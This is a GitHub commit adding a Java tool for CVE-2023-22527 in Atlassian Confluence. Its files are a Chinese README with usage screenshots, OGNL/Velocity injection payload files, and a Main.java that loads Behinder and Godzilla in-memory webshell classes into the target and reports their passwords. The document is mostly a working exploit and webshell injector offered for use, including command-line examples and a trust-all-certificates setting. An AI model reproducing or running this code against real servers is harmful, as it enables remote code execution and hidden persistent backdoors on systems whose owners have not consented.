-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
- Loading branch information
There are no files selected for viewing
Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.
Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.
Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.
Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.
Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.
Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
<?xml version="1.0" encoding="UTF-8"?> | ||
<module type="JAVA_MODULE" version="4"> | ||
<component name="NewModuleRootManager" inherit-compiler-output="true"> | ||
<exclude-output /> | ||
<content url="file://$MODULE_DIR$"> | ||
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" /> | ||
</content> | ||
<orderEntry type="inheritedJdk" /> | ||
<orderEntry type="sourceFolder" forTests="false" /> | ||
<orderEntry type="library" name="libs" level="project" /> | ||
</component> | ||
</module> |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,34 @@ | ||
### 项目介绍 | ||
此项目参考 Boogipop 师傅的项目 https://github.com/Boogipop/CVE-2023-22527-Godzilla-MEMSHELL ,在原项目上支持 | ||
1. 冰蝎内存马的注入 | ||
2. 增加 http 代理功能,用法 -proxy http://127.0.0.1:8080 | ||
3. 修改了命令行参数解析功能处的代码 | ||
|
||
### 使用 | ||
#### 程序参数 | ||
|
||
![程序参数](/img/1.png) | ||
|
||
#### 注入冰蝎马 | ||
|
||
![注入冰蝎马](/img/2.png) | ||
|
||
![连接冰蝎马](/img/3.png) | ||
|
||
#### 注入哥斯拉马 | ||
|
||
![注入哥斯拉马](/img/4.png) | ||
|
||
![连接哥斯拉马1](/img/5.png) | ||
|
||
![连接哥斯拉马2](/img/6.png) | ||
|
||
#### 注入冰蝎马(使用 -proxy 参数) | ||
|
||
![注入冰蝎马,使用 -proxy 参数](/img/7.png) | ||
|
||
![抓取到注入过程中的数据包](/img/8.png) | ||
|
||
### 参考 | ||
1. https://github.com/Boogipop/CVE-2023-22527-Godzilla-MEMSHELL | ||
2. https://github.com/Lotus6/ConfluenceMemshell |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
Manifest-Version: 1.0 | ||
Main-Class: main.Main | ||
|
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&[email protected]@applyExpressionMaxLength(100000) |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
aaa\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})+\u0027 |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
(@org.springframework.cglib.core.ReflectUtils@defineClass('{className}',@org.springframework.util.Base64Utils@decodeFromString('{payload}'),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance() |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
Manifest-Version: 1.0 | ||
Main-Class: main.Main | ||
|
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,231 @@ | ||
package main; | ||
|
||
import javassist.ClassPool; | ||
import javassist.CtClass; | ||
import main.Tool.MiTM; | ||
import org.apache.commons.cli.*; | ||
|
||
import java.io.ByteArrayOutputStream; | ||
import java.io.DataOutputStream; | ||
import java.io.InputStream; | ||
import java.math.BigInteger; | ||
import java.net.*; | ||
import java.nio.charset.StandardCharsets; | ||
import java.security.MessageDigest; | ||
import java.util.Base64; | ||
import java.util.UUID; | ||
|
||
public class Main { | ||
public static void main(String[] args) throws Throwable { | ||
Options options = new Options(); | ||
|
||
Option url = new Option("u", "url", true, "url you want to inject mem shell"); | ||
url.setRequired(true); | ||
options.addOption(url); | ||
|
||
Option pass = new Option("p", "pass", true, "behinder or godzilla pass"); | ||
pass.setRequired(true); | ||
options.addOption(pass); | ||
|
||
Option key = new Option("k", "key", true, "godzilla key"); | ||
key.setRequired(false); | ||
options.addOption(key); | ||
|
||
Option proxy = new Option("proxy", "proxy", true, "http proxy,Optional parameters"); | ||
proxy.setRequired(false); | ||
options.addOption(proxy); | ||
|
||
|
||
CommandLineParser parser = new DefaultParser(); | ||
HelpFormatter formatter = new HelpFormatter(); | ||
CommandLine cmd = null; | ||
|
||
try { | ||
cmd = parser.parse(options, args); | ||
} catch (ParseException e) { | ||
// System.out.println(e.getMessage()); | ||
System.err.println("\nCmdlines parse failed. \n"); | ||
formatter.printHelp("\n" + | ||
"注入冰蝎马:java -jar CVE-2023-22527-MEMSHELL.jar -u http://127.0.0.1:8090/ -p pass [-proxy http://127.0.0.1] \n" + | ||
"注入哥斯拉:java -jar CVE-2023-22527-MEMSHELL.jar -u http://127.0.0.1:8090/ -p pass -k key [-proxy http://127.0.0.1] \n" + | ||
"\n", options); | ||
System.exit(1); | ||
} | ||
|
||
if (cmd.hasOption("k")) { | ||
if (cmd.hasOption("proxy")) { | ||
InjectGodzillaMemShell(cmd.getOptionValue("u"), | ||
cmd.getOptionValue("p"), | ||
cmd.getOptionValue("k"), | ||
cmd.getOptionValue("proxy")); | ||
} else { | ||
InjectGodzillaMemShell(cmd.getOptionValue("u"), | ||
cmd.getOptionValue("p"), | ||
cmd.getOptionValue("k"), | ||
null); | ||
} | ||
} else { | ||
if (cmd.hasOption("proxy")) { | ||
InjectBehinderMemShell(cmd.getOptionValue("u"), | ||
cmd.getOptionValue("p"), | ||
cmd.getOptionValue("proxy")); | ||
} else { | ||
InjectBehinderMemShell(cmd.getOptionValue("u"), | ||
cmd.getOptionValue("p"), | ||
null); | ||
} | ||
} | ||
} | ||
|
||
public static void InjectBehinderMemShell(String urlstr, String password, String proxy) throws Exception { | ||
|
||
URL url = new URL(urlstr); | ||
String baseUrl = url.getProtocol() + "://" + url.getHost() + ":" + url.getPort() + "/"; | ||
String ExploitUrl = baseUrl + "template/aui/text-inline.vm"; | ||
System.out.println("[*] Exploit url: " + ExploitUrl); | ||
|
||
// 信任所有 https 证书 | ||
MiTM.trustAllHttpsCertificates(); | ||
|
||
CtClass ctClass = ClassPool.getDefault().get("main.MemShell.BehinderMemShell"); | ||
|
||
ctClass.makeClassInitializer().insertBefore(String.format("password = \"%s\";\n", md5(password).substring(0, 16).toLowerCase())); | ||
|
||
ctClass.setName("com.opensymphony.xwork." + UUID.randomUUID().toString().replace("-", "")); | ||
|
||
String txt = new String(readInputStream(Main.class.getResourceAsStream("poc.txt"))); | ||
String labeltxt = new String(readInputStream(Main.class.getResourceAsStream("label.txt"))); | ||
txt = txt.replace("{payload}", Base64.getEncoder().encodeToString(ctClass.toBytecode())); | ||
txt = txt.replace("{className}", ctClass.getName()); | ||
|
||
String initpayload = new String(readInputStream(Main.class.getResourceAsStream("initpayload.txt"))); | ||
String Exploitcontent = "poc=" + URLEncoder.encode(txt) + "&label=" + URLEncoder.encode(labeltxt); | ||
|
||
|
||
SendPostRequest(initpayload, ExploitUrl, proxy); | ||
SendPostRequest(Exploitcontent, ExploitUrl, proxy); | ||
|
||
System.out.println("[*] send payload"); | ||
HttpURLConnection validateRequest = ValidateRequest(ExploitUrl); | ||
if ("ok".equals(validateRequest.getHeaderField("X-Cmd-Result"))) { | ||
System.out.println("[*] exploit success"); | ||
System.out.println("[*] behinder webshell password : " + password); | ||
} else { | ||
System.out.println("[*] exploit fail"); | ||
} | ||
} | ||
|
||
public static void InjectGodzillaMemShell(String urlstr, String password, String key, String proxy) throws Exception { | ||
URL url = new URL(urlstr); | ||
String baseUrl = url.getProtocol() + "://" + url.getHost() + ":" + url.getPort() + "/"; | ||
String ExploitUrl = baseUrl + "template/aui/text-inline.vm"; | ||
System.out.println("[*] Exploit url: " + ExploitUrl); | ||
|
||
// 信任所有 https 证书 | ||
MiTM.trustAllHttpsCertificates(); | ||
|
||
|
||
CtClass ctClass = ClassPool.getDefault().get("main.MemShell.GodzillaMemShell"); | ||
|
||
ctClass.makeClassInitializer().insertBefore(String.format("password = \"%s\";\n" + "key = \"%s\";\n", password, md5(key).substring(0, 16).toLowerCase())); | ||
|
||
ctClass.setName("com.opensymphony.xwork." + UUID.randomUUID().toString().replace("-", "")); | ||
|
||
String txt = new String(readInputStream(Main.class.getResourceAsStream("poc.txt"))); | ||
String labeltxt = new String(readInputStream(Main.class.getResourceAsStream("label.txt"))); | ||
txt = txt.replace("{payload}", Base64.getEncoder().encodeToString(ctClass.toBytecode())); | ||
txt = txt.replace("{className}", ctClass.getName()); | ||
|
||
String initpayload = new String(readInputStream(Main.class.getResourceAsStream("initpayload.txt"))); | ||
String Exploitcontent = "poc=" + URLEncoder.encode(txt) + "&label=" + URLEncoder.encode(labeltxt); | ||
|
||
|
||
SendPostRequest(initpayload, ExploitUrl, proxy); | ||
SendPostRequest(Exploitcontent, ExploitUrl, proxy); | ||
|
||
System.out.println("[*] send payload"); | ||
HttpURLConnection validateRequest = ValidateRequest(ExploitUrl); | ||
if ("ok".equals(validateRequest.getHeaderField("X-Cmd-Result"))) { | ||
System.out.println("[*] exploit success"); | ||
System.out.println("[*] godzilla webshell password : " + password); | ||
System.out.println("[*] godzilla webshell key : " + key); | ||
} else { | ||
System.out.println("[*] exploit fail"); | ||
} | ||
} | ||
|
||
public static void SendPostRequest(String content, String url, String proxy) throws Exception { | ||
HttpURLConnection urlConnection; | ||
|
||
if (proxy == null) { | ||
urlConnection = (HttpURLConnection) new URL(url).openConnection(); | ||
} else { | ||
String[] proxyIpAndPort = parseURL(proxy); | ||
Proxy p = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(proxyIpAndPort[0], Integer.parseInt(proxyIpAndPort[1]))); | ||
|
||
urlConnection = (HttpURLConnection) new URL(url).openConnection(p); | ||
} | ||
|
||
urlConnection.setRequestMethod("POST"); | ||
urlConnection.setInstanceFollowRedirects(false); | ||
urlConnection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); | ||
urlConnection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36"); | ||
urlConnection.setDoOutput(true); | ||
urlConnection.setDoInput(true); | ||
urlConnection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); | ||
byte[] postDataBytes = content.getBytes(StandardCharsets.UTF_8); | ||
urlConnection.setRequestProperty("Content-Length", String.valueOf(postDataBytes.length)); | ||
try (DataOutputStream wr = new DataOutputStream(urlConnection.getOutputStream())) { | ||
wr.write(postDataBytes); | ||
} | ||
int responseCode = urlConnection.getResponseCode(); | ||
System.out.println("Response Code: " + responseCode); | ||
urlConnection.disconnect(); | ||
} | ||
|
||
public static HttpURLConnection ValidateRequest(String url) throws Exception { | ||
MiTM.trustAllHttpsCertificates(); | ||
HttpURLConnection urlConnection = (HttpURLConnection) new URL(url).openConnection(); | ||
urlConnection.setRequestMethod("GET"); | ||
int responseCode = urlConnection.getResponseCode(); | ||
System.out.println("Validate Response Code: " + responseCode); | ||
return urlConnection; | ||
} | ||
|
||
public static String[] parseURL(String urlString) throws MalformedURLException { | ||
URL url = new URL(urlString); | ||
String ip = url.getHost(); | ||
int port = url.getPort(); | ||
if (port == -1) { | ||
port = url.getDefaultPort(); | ||
} | ||
return new String[]{ip, String.valueOf(port)}; | ||
} | ||
|
||
public static byte[] readInputStream(InputStream inputStream) { | ||
byte[] temp = new byte[4096]; | ||
int readOneNum = 0; | ||
ByteArrayOutputStream bos = new ByteArrayOutputStream(); | ||
try { | ||
while ((readOneNum = inputStream.read(temp)) != -1) { | ||
bos.write(temp, 0, readOneNum); | ||
} | ||
inputStream.close(); | ||
} catch (Exception e) { | ||
} | ||
return bos.toByteArray(); | ||
} | ||
|
||
public static String md5(String s) { | ||
String ret = null; | ||
try { | ||
MessageDigest m; | ||
m = MessageDigest.getInstance("MD5"); | ||
m.update(s.getBytes(), 0, s.length()); | ||
ret = new BigInteger(1, m.digest()).toString(16).toUpperCase(); | ||
} catch (Exception e) { | ||
} | ||
return ret; | ||
} | ||
|
||
} |